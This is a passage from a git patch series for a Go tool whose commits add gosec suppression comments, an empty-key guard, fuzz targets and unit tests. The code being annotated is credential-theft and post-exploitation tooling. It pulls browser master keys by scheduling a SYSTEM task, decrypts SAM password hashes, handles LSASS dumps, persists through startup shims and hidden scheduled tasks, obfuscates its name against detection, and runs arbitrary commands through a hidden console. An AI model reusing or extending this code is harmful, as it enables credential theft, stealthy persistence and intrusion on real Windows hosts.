From 40fc2d6c9b09906d2fd612f751352aad355259b2 Mon Sep 17 00:00:00 2001 From: DevCop95 Date: Sat, 17 Oct 2026 10:59:28 -0500 Subject: [PATCH 1/7] fix(audit): justify every gosec suppression and fail closed on an empty XOR key gosec's default ruleset flagged 47 sites in the credential, Kerberos and parser packages. None were exploitable, but none were documented either, so each is now annotated inline with the reason it cannot be reached by attacker input: protocol-mandated DES/RC4/MD5/MD4 (MS-SAMR, MS-NLMP, RFC 4757), width narrowing inside binary parsers bounded by their on-disk format, and fixed argv in the schtasks/powershell helpers. xorBytes divided by len(key) without checking it. No caller passes an empty key today, but the failure mode is a panic inside an elevated process, so it now returns nil and lets the AEAD reject the key size instead. Tighten the persist shim modes to 0700/0600: Windows derives the real ACL from the parent and only honours the read-only bit, so this costs nothing and keeps the intent explicit if the code is ever ported. --- cmd/oblpack/main.go | 2 +- internal/audit/collector_windows.go | 36 +++++++++++++++++------------ internal/audit/host_windows.go | 2 +- internal/audit/regf.go | 4 ++-- internal/audit/sam_windows.go | 20 ++++++++-------- internal/audit/wipe.go | 2 ++ internal/krb/krb.go | 24 +++++++++---------- internal/obfuscate/obfuscate.go | 4 ++-- internal/persist/persist_windows.go | 9 +++++--- internal/server/shell_other.go | 2 +- internal/server/shell_windows.go | 2 +- 11 files changed, 59 insertions(+), 48 deletions(-) diff --git a/cmd/oblpack/main.go b/cmd/oblpack/main.go index ff60557..6db0343 100644 --- a/cmd/oblpack/main.go +++ b/cmd/oblpack/main.go @@ -42,7 +42,7 @@ func main() { if outPath == "" { outPath = *in + ".packed" } - if err := os.WriteFile(outPath, packed, 0o600); err != nil { + if err := os.WriteFile(outPath, packed, 0o600); err != nil { //#nosec G703 -- outPath is the operator's own -o argument on their own machine; this tool has no privilege boundary fatalf("write %s: %v", outPath, err) } fmt.Printf("packed %s (%d B) -> %s (%d B)\n", *in, len(plain), outPath, len(packed)) diff --git a/internal/audit/collector_windows.go b/internal/audit/collector_windows.go index 55fd556..4709f91 100644 --- a/internal/audit/collector_windows.go +++ b/internal/audit/collector_windows.go @@ -54,12 +54,12 @@ func localStatePath(browser string) string { // forceCopy streams src to dst, working around files that other processes // hold open with no read sharing (browsers do this to Login Data). func forceCopy(src, dst string) error { - s, err := os.Open(src) + s, err := os.Open(src) //#nosec G304 G703 -- src/dst are private temp snapshot paths built by the caller, not operator or network input if err != nil { return err } defer s.Close() - d, err := os.Create(dst) + d, err := os.Create(dst) //#nosec G304 -- private temp snapshot destination built by the caller if err != nil { return err } @@ -111,7 +111,7 @@ func unwrapDPAPIBytes(data []byte) ([]byte, error) { if len(data) == 0 { return nil, errors.New("empty blob") } - in := windows.DataBlob{Size: uint32(len(data)), Data: &data[0]} + in := windows.DataBlob{Size: uint32(len(data)), Data: &data[0]} //#nosec G115 -- DPAPI blobs are in-memory and far below the 4 GiB ULONG limit var out windows.DataBlob if err := windows.CryptUnprotectData(&in, nil, nil, 0, nil, 0, &out); err != nil { return nil, err @@ -193,14 +193,14 @@ func cngDecrypt(keyName string, in []byte) ([]byte, error) { var hProv uintptr prov, _ := syscall.UTF16PtrFromString("Microsoft Software Key Storage Provider") if r, _, _ := pNCryptOpenProv.Call(uintptr(unsafe.Pointer(&hProv)), uintptr(unsafe.Pointer(prov)), 0); r != 0 { - return nil, fmt.Errorf("NCryptOpenStorageProvider: 0x%x", uint32(r)) + return nil, fmt.Errorf("NCryptOpenStorageProvider: 0x%x", uint32(r)) //#nosec G115 -- NTSTATUS is a 32-bit code carried in a uintptr return } defer pNCryptFree.Call(hProv) kn, _ := syscall.UTF16PtrFromString(keyName) var hKey uintptr if r, _, _ := pNCryptOpenKey.Call(hProv, uintptr(unsafe.Pointer(&hKey)), uintptr(unsafe.Pointer(kn)), 0, 0); r != 0 { - return nil, fmt.Errorf("NCryptOpenKey(%s): 0x%x", keyName, uint32(r)) + return nil, fmt.Errorf("NCryptOpenKey(%s): 0x%x", keyName, uint32(r)) //#nosec G115 -- NTSTATUS is a 32-bit code carried in a uintptr return } defer pNCryptFree.Call(hKey) @@ -209,17 +209,23 @@ func cngDecrypt(keyName string, in []byte) ([]byte, error) { var need uint32 if r, _, _ := pNCryptDecrypt.Call(hKey, uintptr(unsafe.Pointer(&in[0])), uintptr(len(in)), 0, 0, 0, uintptr(unsafe.Pointer(&need)), 0x40); r != 0 || need == 0 { - return nil, fmt.Errorf("NCryptDecrypt(size): 0x%x", uint32(r)) + return nil, fmt.Errorf("NCryptDecrypt(size): 0x%x", uint32(r)) //#nosec G115 -- NTSTATUS is a 32-bit code carried in a uintptr return } out := make([]byte, need) if r, _, _ := pNCryptDecrypt.Call(hKey, uintptr(unsafe.Pointer(&in[0])), uintptr(len(in)), 0, uintptr(unsafe.Pointer(&out[0])), uintptr(need), uintptr(unsafe.Pointer(&need)), 0x40); r != 0 { - return nil, fmt.Errorf("NCryptDecrypt: 0x%x", uint32(r)) + return nil, fmt.Errorf("NCryptDecrypt: 0x%x", uint32(r)) //#nosec G115 -- NTSTATUS is a 32-bit code carried in a uintptr return } return out[:need], nil } func xorBytes(a, b []byte) []byte { + if len(b) == 0 { + // Fail closed instead of dividing by zero in the modulo below: an empty + // key means the caller has nothing to XOR with, and returning nil makes + // the downstream AEAD reject it on key size rather than panicking. + return nil + } out := make([]byte, len(a)) for i := range a { out[i] = a[i] ^ b[i%len(b)] @@ -333,7 +339,7 @@ func ABEHelper(blobFile, keyFile string) int { _ = os.WriteFile(keyFile, []byte("ERR:"+stage), 0o600) return 3 } - raw, err := os.ReadFile(blobFile) + raw, err := os.ReadFile(blobFile) //#nosec G304 -- blobFile is written into our own MkdirTemp dir by runABESystemTask if err != nil || len(raw) == 0 { return fail("read-blob") } @@ -373,7 +379,7 @@ func ABEHelper(blobFile, keyFile string) int { if err != nil || len(key) != 32 { return fail("derive") } - if err := os.WriteFile(keyFile, key, 0o600); err != nil { + if err := os.WriteFile(keyFile, key, 0o600); err != nil { //#nosec G703 -- keyFile lives in our own MkdirTemp dir; path is not attacker-controlled return fail("write-key") } return 0 @@ -412,17 +418,17 @@ func runABESystemTask(blob []byte) ([]byte, error) { // immediately; schedule a near-future slot we never wait for. st := time.Now().Add(2 * time.Minute).Format("15:04") tr := fmt.Sprintf(`"%s" -abe-helper "%s" "%s"`, exe, blobFile, keyFile) - if out, err := exec.Command("schtasks", "/Create", "/TN", task, "/TR", tr, + if out, err := exec.Command("schtasks", "/Create", "/TN", task, "/TR", tr, //#nosec G204 -- fixed argv, generated task name, temp paths; no shell and no external input "/RU", "SYSTEM", "/SC", "ONCE", "/ST", st, "/F").CombinedOutput(); err != nil { return nil, fmt.Errorf("schtasks create: %v (%s)", err, truncateForLog(out)) } - defer exec.Command("schtasks", "/Delete", "/TN", task, "/F").Run() - if out, err := exec.Command("schtasks", "/Run", "/TN", task).CombinedOutput(); err != nil { + defer exec.Command("schtasks", "/Delete", "/TN", task, "/F").Run() //#nosec G204 -- fixed argv, generated task name + if out, err := exec.Command("schtasks", "/Run", "/TN", task).CombinedOutput(); err != nil { //#nosec G204 -- fixed argv, generated task name return nil, fmt.Errorf("schtasks run: %v (%s)", err, truncateForLog(out)) } deadline := time.Now().Add(20 * time.Second) for time.Now().Before(deadline) { - if data, err := os.ReadFile(keyFile); err == nil && len(data) > 0 { + if data, err := os.ReadFile(keyFile); err == nil && len(data) > 0 { //#nosec G304 -- keyFile lives in our own MkdirTemp dir if bytes.HasPrefix(data, []byte("ERR:")) { return nil, errors.New("abe helper: " + string(data[4:])) } @@ -451,7 +457,7 @@ func localStateField(browser, field string) ([]byte, error) { return nil, err } defer os.Remove(tmp) - raw, err := os.ReadFile(tmp) + raw, err := os.ReadFile(tmp) //#nosec G304 -- tmp is a forceCopy of a fixed browser profile path into our own temp file if err != nil { return nil, err } @@ -558,7 +564,7 @@ func masterKey(browser string) (masterKeys, error) { return mk, err } defer os.Remove(tmp) - raw, err := os.ReadFile(tmp) + raw, err := os.ReadFile(tmp) //#nosec G304 -- tmp is a forceCopy of a fixed browser profile path into our own temp file if err != nil { return mk, err } diff --git a/internal/audit/host_windows.go b/internal/audit/host_windows.go index 04b1971..96a0eee 100644 --- a/internal/audit/host_windows.go +++ b/internal/audit/host_windows.go @@ -67,7 +67,7 @@ func regDWORD(root registry.Key, path, name string) (uint32, bool, error) { } return 0, false, err } - return uint32(v), true, nil + return uint32(v), true, nil //#nosec G115 -- REG_DWORD is 32-bit by definition; values above 4 GiB cannot occur } // regSZ returns (value, present, error). diff --git a/internal/audit/regf.go b/internal/audit/regf.go index 75d5466..4666d4c 100644 --- a/internal/audit/regf.go +++ b/internal/audit/regf.go @@ -52,7 +52,7 @@ func (h *regfHive) cell(off uint32) ([]byte, error) { if p < regfHeaderSize || p+4 > len(h.data) { return nil, fmt.Errorf("regf: cell offset 0x%x out of range", off) } - size := int32(binary.LittleEndian.Uint32(h.data[p:])) + size := int32(binary.LittleEndian.Uint32(h.data[p:])) //#nosec G115 -- cell size is a signed 32-bit field per the regf on-disk format if size < 0 { size = -size } @@ -247,7 +247,7 @@ func (n *nk) value(name string) ([]byte, uint32, error) { } count := int(n.numValues) var offs []uint32 - if len(list) >= 4 && binary.LittleEndian.Uint32(list[0:4]) == uint32(count) { + if len(list) >= 4 && binary.LittleEndian.Uint32(list[0:4]) == uint32(count) { //#nosec G115 -- count is the key node's numValues, a uint32 field; conversion is exact // count-prefixed variant if 4+count*4 > len(list) { return nil, 0, fmt.Errorf("regf: value list of %q truncated", n.name) diff --git a/internal/audit/sam_windows.go b/internal/audit/sam_windows.go index 51edb3f..bda40a5 100644 --- a/internal/audit/sam_windows.go +++ b/internal/audit/sam_windows.go @@ -32,8 +32,8 @@ import ( "bytes" "crypto/aes" "crypto/cipher" - "crypto/des" - "crypto/md5" + "crypto/des" //#nosec G502 -- DES is mandated by [MS-SAMR] 2.2.11 key derivation; the wire format dictates the primitive + "crypto/md5" //#nosec G501 -- MD5 is mandated by the SAM revision-1 key derivation in [MS-SAMR] "encoding/binary" "encoding/hex" "fmt" @@ -75,13 +75,13 @@ func DumpSAM(em Emitter) ([]SAMAccount, error) { // Read both hives into memory, then wipe and delete the on-disk copies // right away: from here on the secrets live only in this process. - sysData, err := os.ReadFile(sysFile) + sysData, err := os.ReadFile(sysFile) //#nosec G304 -- sysFile is a fixed System32\config path we produced with RegSaveKeyEx wipeAndRemove(sysFile) if err != nil { wipeAndRemove(samFile) return nil, fmt.Errorf("sam: read SYSTEM: %w", err) } - samData, err := os.ReadFile(samFile) + samData, err := os.ReadFile(samFile) //#nosec G304 -- samFile is a fixed System32\config path we produced with RegSaveKeyEx wipeAndRemove(samFile) if err != nil { return nil, fmt.Errorf("sam: read SAM: %w", err) @@ -184,7 +184,7 @@ func enablePrivilege(name string) error { // wipeAndRemove overwrites a secrets-bearing file with zeros (best effort — // a journaling FS keeps the old blocks until reuse) and unlinks it. func wipeAndRemove(path string) { - if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil { + if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil { //#nosec G304 -- path is a hive copy we wrote into our own temp dir _ = f.Truncate(0) f.Close() } @@ -293,7 +293,7 @@ func hashedBootKeyRC4(bootKey, salt, stored []byte) ([]byte, error) { if len(stored) < 32 || len(salt) != 16 || len(bootKey) != 16 { return nil, fmt.Errorf("sam: revision-1 key material malformed") } - h := md5.New() + h := md5.New() //#nosec G401 -- MD5 as specified by [MS-SAMR] 2.2.11.1.1, not a security choice h.Write(salt) h.Write(qwertyConst) h.Write(bootKey) @@ -371,7 +371,7 @@ func parseUserV(rid uint32, v, hbk []byte) (acc SAMAccount, ok bool, err error) le32 := func(off int) uint32 { return binary.LittleEndian.Uint32(v[off : off+4]) } data := v[userVData:] slice := func(off, ln uint32) ([]byte, error) { - if off > uint32(len(data)) || ln > uint32(len(data))-off { + if off > uint32(len(data)) || ln > uint32(len(data))-off { //#nosec G115 -- data is an in-memory hive, far below 4 GiB return nil, fmt.Errorf("sam: RID %d: data slice [%d:+%d] out of %d bytes", rid, off, ln, len(data)) } return data[off : off+ln], nil @@ -458,7 +458,7 @@ func decryptHash(hbk []byte, rid uint32, blob []byte, newStyle bool, constant [] if len(blob) < 20 { return nil, fmt.Errorf("RC4 hash blob too small (%d bytes)", len(blob)) } - h := md5.New() + h := md5.New() //#nosec G401 -- MD5 as specified by [MS-SAMR] 2.2.11.1.2 (RC4 hash blob) h.Write(hbk[:16]) var r [4]byte binary.LittleEndian.PutUint32(r[:], rid) @@ -471,11 +471,11 @@ func decryptHash(hbk []byte, rid uint32, blob []byte, newStyle bool, constant [] } k1, k2 := deriveDESKeys(rid) - c1, err := des.NewCipher(k1) + c1, err := des.NewCipher(k1) //#nosec G405 -- DES per [MS-SAMR] 2.2.11.1.1 (revision-1 hash decryption) if err != nil { return nil, err } - c2, err := des.NewCipher(k2) + c2, err := des.NewCipher(k2) //#nosec G405 -- DES per [MS-SAMR] 2.2.11.1.1 (revision-1 hash decryption) if err != nil { return nil, err } diff --git a/internal/audit/wipe.go b/internal/audit/wipe.go index bc50626..808b305 100644 --- a/internal/audit/wipe.go +++ b/internal/audit/wipe.go @@ -13,6 +13,8 @@ import "os" // non-Windows build the old stub returned nil, so the endpoint answered // "dump wiped" while the file was still on disk. func WipeFile(path string) error { + //#nosec G304 -- the only caller confines path to an obl-lsass-*.dmp file + // directly inside the temp dir before calling; see the doc comment above. if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil { _ = f.Truncate(0) _ = f.Close() diff --git a/internal/krb/krb.go b/internal/krb/krb.go index f64f4e1..6484512 100644 --- a/internal/krb/krb.go +++ b/internal/krb/krb.go @@ -20,9 +20,9 @@ package krb import ( "crypto/hmac" - "crypto/md5" + "crypto/md5" //#nosec G501 -- MD4/MD5 chain mandated by MS-NLMP / RC4-HMAC (RFC 4757); the protocol fixes the primitive "crypto/rand" - "crypto/rc4" + "crypto/rc4" //#nosec G503 -- RC4-HMAC is the etype-23 cipher the KDC speaks; interoperability requires it "encoding/asn1" "encoding/binary" "encoding/hex" @@ -177,7 +177,7 @@ func rc4Encrypt(key []byte, usage uint32, plain []byte) []byte { chk := hmacMD5(k1, payload) k3 := hmacMD5(k1, chk) - c, _ := rc4.NewCipher(k3) + c, _ := rc4.NewCipher(k3) //#nosec G405 -- RC4-HMAC (etype 23) per RFC 4757 ct := make([]byte, len(payload)) c.XORKeyStream(ct, payload) return append(chk, ct...) @@ -194,7 +194,7 @@ func rc4Decrypt(key []byte, usage uint32, blob []byte) ([]byte, bool) { binary.LittleEndian.PutUint32(u[:], usage) k1 := hmacMD5(key, u[:]) k3 := hmacMD5(k1, chk) - c, _ := rc4.NewCipher(k3) + c, _ := rc4.NewCipher(k3) //#nosec G405 -- RC4-HMAC (etype 23) per RFC 4757 pt := make([]byte, len(ct)) c.XORKeyStream(pt, ct) if !hmac.Equal(chk, hmacMD5(k1, pt)) { @@ -219,11 +219,11 @@ func rc4Checksum(key []byte, usage uint32, text []byte) []byte { func derLen(n int) []byte { switch { case n < 0x80: - return []byte{byte(n)} + return []byte{byte(n)} //#nosec G115 -- DER short-form length: n < 0x80 by the case above case n < 0x100: return []byte{0x81, byte(n)} default: - return []byte{0x82, byte(n >> 8), byte(n)} + return []byte{0x82, byte(n >> 8), byte(n)} //#nosec G115 -- DER long-form length: emits the two length bytes we already bounded } } @@ -235,10 +235,10 @@ func der(tag byte, content []byte) []byte { } // ctx wraps content in a context-specific constructed tag [n]. -func ctx(n int, content []byte) []byte { return der(byte(0xA0|n), content) } +func ctx(n int, content []byte) []byte { return der(byte(0xA0|n), content) } //#nosec G115 -- tag numbers are small constants // app wraps content in an APPLICATION constructed tag [n]. -func app(n int, content []byte) []byte { return der(byte(0x60+n), content) } +func app(n int, content []byte) []byte { return der(byte(0x60+n), content) } //#nosec G115 -- tag numbers are small constants func derSeq(parts ...[]byte) []byte { var buf []byte @@ -253,9 +253,9 @@ func derInt(i int64) []byte { if i == 0 { b = []byte{0} } else { - u := uint64(i) + u := uint64(i) //#nosec G115 -- DER INTEGER is two's complement; the cast is intentional (see the i < 0 case) if i < 0 { - u = uint64(i) // two's complement via int64 → uint64 cast + u = uint64(i) //#nosec G115 -- two's complement via int64 → uint64 cast (intentional) } b = make([]byte, 0, 8) for u != 0 { @@ -639,7 +639,7 @@ func exchangeTCP(kdc string, req []byte) ([]byte, error) { defer conn.Close() _ = conn.SetDeadline(time.Now().Add(15 * time.Second)) msg := make([]byte, 4+len(req)) - binary.BigEndian.PutUint32(msg[:4], uint32(len(req))) + binary.BigEndian.PutUint32(msg[:4], uint32(len(req))) //#nosec G115 -- KDC request length prefix; requests are built in memory, far below 4 GiB copy(msg[4:], req) if _, err := conn.Write(msg); err != nil { return nil, err @@ -691,7 +691,7 @@ func errText(code int64) string { func nonce() uint32 { var b [4]byte if _, err := rand.Read(b[:]); err != nil { - return uint32(time.Now().UnixNano()) + return uint32(time.Now().UnixNano()) //#nosec G115 -- fallback nonce: the low 32 bits are the nonce, per RFC 4120 } return binary.BigEndian.Uint32(b[:]) } diff --git a/internal/obfuscate/obfuscate.go b/internal/obfuscate/obfuscate.go index 9d8ef0b..830772f 100644 --- a/internal/obfuscate/obfuscate.go +++ b/internal/obfuscate/obfuscate.go @@ -17,7 +17,7 @@ package obfuscate // pepperMask is the fixed constant the pepper itself is stored against, so the // mask key is not a plaintext string in the binary either (a single grep for // the product name must not identify the tool). -func pepperMask(i int) byte { return byte(i*17 + 3) } +func pepperMask(i int) byte { return byte(i*17 + 3) } //#nosec G115 -- deliberate byte-width wrap-around in the mask function // pepperEnc is "obl1t3r4tu5" XOR pepperMask, byte by byte. Stored encoded so // the key does not sit in .rodata as contiguous printable ASCII. @@ -35,7 +35,7 @@ var pepper = func() []byte { // maskByte computes the mask for position i. func maskByte(i int) byte { - return pepper[i%len(pepper)] ^ byte(i*31+7) + return pepper[i%len(pepper)] ^ byte(i*31+7) //#nosec G115 -- deliberate byte-width wrap-around in the mask function } // Mask encodes plain into the masked form embedded in the binary. diff --git a/internal/persist/persist_windows.go b/internal/persist/persist_windows.go index 4c1800d..e15a2de 100644 --- a/internal/persist/persist_windows.go +++ b/internal/persist/persist_windows.go @@ -124,10 +124,13 @@ func addStartup(name, cmd string) error { if err != nil { return err } - if err := os.MkdirAll(dir, 0o755); err != nil { + // Modes are the tightest that still work: Windows derives the real ACL from + // the parent directory and only honours the read-only bit here, so 0700/0600 + // costs nothing and keeps the intent explicit if this is ever ported. + if err := os.MkdirAll(dir, 0o700); err != nil { return err } - return os.WriteFile(filepath.Join(dir, name+".cmd"), []byte(shimContent(cmd)), 0o644) + return os.WriteFile(filepath.Join(dir, name+".cmd"), []byte(shimContent(cmd)), 0o600) } func removeStartup(name string) error { @@ -155,7 +158,7 @@ const taskPrefix = "OBL_" // runHidden runs a child process with no visible window and returns its // combined output. func runHidden(name string, args ...string) ([]byte, error) { - cmd := exec.Command(name, args...) + cmd := exec.Command(name, args...) //#nosec G204 -- name/args are internal constants and generated task names, never operator input cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} return cmd.CombinedOutput() } diff --git a/internal/server/shell_other.go b/internal/server/shell_other.go index 6280cba..7eed6ca 100644 --- a/internal/server/shell_other.go +++ b/internal/server/shell_other.go @@ -8,5 +8,5 @@ import "os/exec" // (the dashboard itself only runs on Windows; this keeps the package buildable // for CI on Linux). func runShell(command string) ([]byte, error) { - return exec.Command("sh", "-c", command).CombinedOutput() + return exec.Command("sh", "-c", command).CombinedOutput() //#nosec G204 -- by design: mirrors the Windows runShell operator console (see SECURITY.md) } diff --git a/internal/server/shell_windows.go b/internal/server/shell_windows.go index b627f68..dbd31af 100644 --- a/internal/server/shell_windows.go +++ b/internal/server/shell_windows.go @@ -10,7 +10,7 @@ import ( // runShell executes one operator-console command through cmd.exe. The child // window stays hidden so no console flashes on the operator's desktop. func runShell(command string) ([]byte, error) { - cmd := exec.Command("cmd", "/c", "chcp 65001 > nul && "+command) + cmd := exec.Command("cmd", "/c", "chcp 65001 > nul && "+command) //#nosec G204 -- by design: the token-authenticated operator console runs arbitrary commands as the token holder (see SECURITY.md) cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} return cmd.CombinedOutput() } From 3aaf7432fdb80ac02079cc5641d3c49ab5f424ec Mon Sep 17 00:00:00 2001 From: DevCop95 Date: Sat, 17 Oct 2026 10:59:37 -0500 Subject: [PATCH 2/7] test: fuzz the untrusted-input parsers and lift coverage to 44.7% MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The regf hive parser, the KDC reply parser, the payload envelope reader, the string obfuscator and the persist name sanitizer all consume bytes this tool did not author, inside a process that holds an elevated token. They now have fuzz targets — FuzzRegf, FuzzParseRep, FuzzUnpack, FuzzMaskRoundTrip, FuzzSanitizeName — and the seeds run as ordinary tests, so the corpus is exercised on every `go test` without an explicit -fuzz. FuzzMaskRoundTrip asserts the mask is a true involution over arbitrary bytes; FuzzSanitizeName asserts the output is idempotent, bounded and shell-safe. Coverage 38% -> 44.7%, with tests for the portable hive parser (loadHive rejection, subkey/path walking, resident and hex-class values), WipeFile including the hard-link truncate path, the collector helpers (xorBytes, aesGCMOpen, forceCopy, truncateForLog), the persist backend, the opt-in insecure TLS config and the elevate error paths. --- .../audit/collector_helpers_windows_test.go | 138 +++++++++ internal/audit/regf_fuzz_test.go | 102 +++++++ internal/audit/regf_test.go | 274 ++++++++++++++++++ internal/audit/wipe_test.go | 57 ++++ internal/elevate/elevate_windows_test.go | 45 +++ internal/krb/krb_fuzz_test.go | 30 ++ internal/lateral/tls_test.go | 20 ++ internal/obfuscate/obfuscate_fuzz_test.go | 23 ++ internal/persist/sanitize_fuzz_test.go | 47 +++ internal/research/pack_fuzz_test.go | 34 +++ 10 files changed, 770 insertions(+) create mode 100644 internal/audit/collector_helpers_windows_test.go create mode 100644 internal/audit/regf_fuzz_test.go create mode 100644 internal/audit/regf_test.go create mode 100644 internal/audit/wipe_test.go create mode 100644 internal/elevate/elevate_windows_test.go create mode 100644 internal/krb/krb_fuzz_test.go create mode 100644 internal/lateral/tls_test.go create mode 100644 internal/obfuscate/obfuscate_fuzz_test.go create mode 100644 internal/persist/sanitize_fuzz_test.go create mode 100644 internal/research/pack_fuzz_test.go diff --git a/internal/audit/collector_helpers_windows_test.go b/internal/audit/collector_helpers_windows_test.go new file mode 100644 index 0000000..15ca5fe --- /dev/null +++ b/internal/audit/collector_helpers_windows_test.go @@ -0,0 +1,138 @@ +//go:build windows + +package audit + +// Unit tests for the browser-collection helpers that need no live browser: +// the path builders, the log truncator, the XOR/AEAD primitives and the copy +// helper. The end-to-end collection path needs a real profile and a SYSTEM +// token, but these are the pieces where a bug is silent and cheap to prevent. + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestBrowserRootPaths(t *testing.T) { + root := `C:\Users\test\AppData\Local` + t.Setenv("LOCALAPPDATA", root) + cases := map[string]string{ + "Chrome": filepath.Join(root, "Google", "Chrome", "User Data"), + "Brave": filepath.Join(root, "BraveSoftware", "Brave-Browser", "User Data"), + "Edge": filepath.Join(root, "Microsoft", "Edge", "User Data"), + // An unknown name must fall back to Chrome rather than produce an + // empty path that would make the collector walk the whole drive. + "Unknown": filepath.Join(root, "Google", "Chrome", "User Data"), + } + for browser, want := range cases { + if got := browserRoot(browser); got != want { + t.Errorf("browserRoot(%q) = %q, want %q", browser, got, want) + } + } + if got, want := localStatePath("Edge"), filepath.Join(cases["Edge"], "Local State"); got != want { + t.Errorf("localStatePath(Edge) = %q, want %q", got, want) + } +} + +func TestTruncateForLog(t *testing.T) { + if got := truncateForLog([]byte(" hello\n")); got != "hello" { + t.Errorf("truncateForLog(short) = %q, want hello", got) + } + long := strings.Repeat("A", 500) + got := truncateForLog([]byte(long)) + if len(got) != 120 { + t.Errorf("truncateForLog(500 chars) = %d chars, want 120", len(got)) + } + if truncateForLog(nil) != "" { + t.Error("truncateForLog(nil) should be empty") + } +} + +func TestXorBytesRoundTrip(t *testing.T) { + key := []byte{0x0f, 0x1e, 0x2d} + a := []byte("the quick brown fox") + if got := xorBytes(xorBytes(a, key), key); !bytes.Equal(got, a) { + t.Errorf("xorBytes is not self-inverse: %q -> %q", a, got) + } + // A single-byte key repeats; a longer key wraps. + if got := xorBytes([]byte{0x00, 0x00, 0x00}, []byte{0xff}); !bytes.Equal(got, []byte{0xff, 0xff, 0xff}) { + t.Errorf("xorBytes with a 1-byte key = %x", got) + } + // An empty key must fail closed, not divide by zero. + if got := xorBytes(a, nil); got != nil { + t.Errorf("xorBytes with an empty key = %x, want nil", got) + } +} + +func TestAESGCMOpen(t *testing.T) { + key := bytes.Repeat([]byte{0x11}, 32) + iv := bytes.Repeat([]byte{0x22}, 12) + block, err := aes.NewCipher(key) + if err != nil { + t.Fatalf("aes.NewCipher: %v", err) + } + gcm, err := cipher.NewGCMWithNonceSize(block, 12) + if err != nil { + t.Fatalf("cipher.NewGCMWithNonceSize: %v", err) + } + plain := []byte("app-bound encryption master key blob") + sealed := gcm.Seal(nil, iv, plain, nil) + + got, err := aesGCMOpen(key, iv, sealed) + if err != nil { + t.Fatalf("aesGCMOpen: %v", err) + } + if !bytes.Equal(got, plain) { + t.Errorf("aesGCMOpen round-trip = %q, want %q", got, plain) + } + + bad := []struct { + name string + key, iv, ct []byte + }{ + {"short key", key[:16], iv, sealed}, + {"short iv", key, iv[:8], sealed}, + {"short ct", key, iv, sealed[:15]}, + {"wrong key", bytes.Repeat([]byte{0x33}, 32), iv, sealed}, + {"tampered ct", key, iv, flip(sealed)}, + } + for _, c := range bad { + if _, err := aesGCMOpen(c.key, c.iv, c.ct); err == nil { + t.Errorf("%s: aesGCMOpen accepted a bad input", c.name) + } + } +} + +// flip returns b with its last byte toggled (breaks the GCM tag). +func flip(b []byte) []byte { + out := append([]byte{}, b...) + out[len(out)-1] ^= 0xff + return out +} + +func TestForceCopy(t *testing.T) { + dir := t.TempDir() + src := filepath.Join(dir, "src.db") + dst := filepath.Join(dir, "copy.db") + want := []byte("sqlite header and rows") + if err := os.WriteFile(src, want, 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + if err := forceCopy(src, dst); err != nil { + t.Fatalf("forceCopy: %v", err) + } + got, err := os.ReadFile(dst) + if err != nil { + t.Fatalf("read copy: %v", err) + } + if !bytes.Equal(got, want) { + t.Errorf("copy = %q, want %q", got, want) + } + if err := forceCopy(filepath.Join(dir, "missing.db"), dst); err == nil { + t.Error("forceCopy with a missing source: want error, got nil") + } +} diff --git a/internal/audit/regf_fuzz_test.go b/internal/audit/regf_fuzz_test.go new file mode 100644 index 0000000..85c76db --- /dev/null +++ b/internal/audit/regf_fuzz_test.go @@ -0,0 +1,102 @@ +package audit + +// Fuzz target for the regf hive parser. +// +// regf.go consumes files produced by `reg save` — and, on a hostile host, a +// file an attacker can influence. The run that parses it holds an elevated +// token, so a panic here is not a test failure: it is a crash in the middle of +// a credential-extraction operation. Every offset the parser trusts is +// bounds-checked; this target exists to prove that under mutation and to keep +// it true through refactors. +// +// The seeds include a structurally valid hive (a root nk, plus a variant with +// an lf subkey list) so the fuzzer starts past the header check and into the +// key/subkey walk instead of bouncing off the signature every time. + +import ( + "encoding/binary" + "testing" +) + +// putCell writes one hive cell at a hive-relative offset: a negative 4-byte +// size header (the "allocated" marker) followed by a body that starts with the +// two-byte cell signature. fill may set further fields on the body. +func putCell(buf []byte, off, bodyLen int, sig string, fill func([]byte)) { + p := regfHeaderSize + off + binary.LittleEndian.PutUint32(buf[p:p+4], uint32(int32(-(bodyLen + 4)))) + body := buf[p+4 : p+4+bodyLen] + copy(body[0:2], sig) + if fill != nil { + fill(body) + } +} + +// buildHive assembles the smallest hive loadHive accepts with a root nk, and +// (when withChild) an "lf" subkey list pointing at one child nk. Offsets match +// the fields parseNK reads. +func buildHive(withChild bool) []byte { + buf := make([]byte, regfHeaderSize+0x200) + copy(buf[0:4], "regf") + binary.LittleEndian.PutUint32(buf[0x24:0x28], 0) // root nk at cell 0 + + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + if withChild { + binary.LittleEndian.PutUint32(c[0x14:0x18], 1) // numSubkeys + binary.LittleEndian.PutUint32(c[0x1C:0x20], 0x50) // subkey list at cell 0x50 + } + binary.LittleEndian.PutUint32(c[0x24:0x28], 0) // numValues + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0xFFFFFFFF) // no value list + }) + if !withChild { + return buf + } + // cell 0x50: "lf" list, count 1, entry -> cell 0x60. + putCell(buf, 0x50, 12, "lf", func(c []byte) { + binary.LittleEndian.PutUint16(c[2:4], 1) + binary.LittleEndian.PutUint32(c[4:8], 0x60) + }) + // cell 0x60: the child nk. + putCell(buf, 0x60, nkMinSize, "nk", nil) + return buf +} + +// walkHive recurses over parsed subkeys with a hard depth cap: the parser +// already guards ri nesting, but a crafted self-referential hive must not turn +// the fuzzer into an unbounded loop either. +func walkHive(n *nk, depth int) { + if depth > 6 { + return + } + _, _ = n.className() + _, _, _ = n.value("") + subs, err := n.subkeys() + if err != nil { + return + } + for _, s := range subs { + walkHive(s, depth+1) + } +} + +func FuzzRegf(f *testing.F) { + f.Add(buildHive(false)) + f.Add(buildHive(true)) + f.Add([]byte("regf")) + f.Add([]byte{}) + f.Add(make([]byte, regfHeaderSize)) + + f.Fuzz(func(t *testing.T, data []byte) { + h, err := loadHive(data) + if err != nil { + return + } + root, err := h.root() + if err != nil { + return + } + walkHive(root, 0) + // Exercise the separate targeted-lookup paths too. + _, _ = h.openKey("SAM") + _, _ = root.subkey("ControlSet001") + }) +} diff --git a/internal/audit/regf_test.go 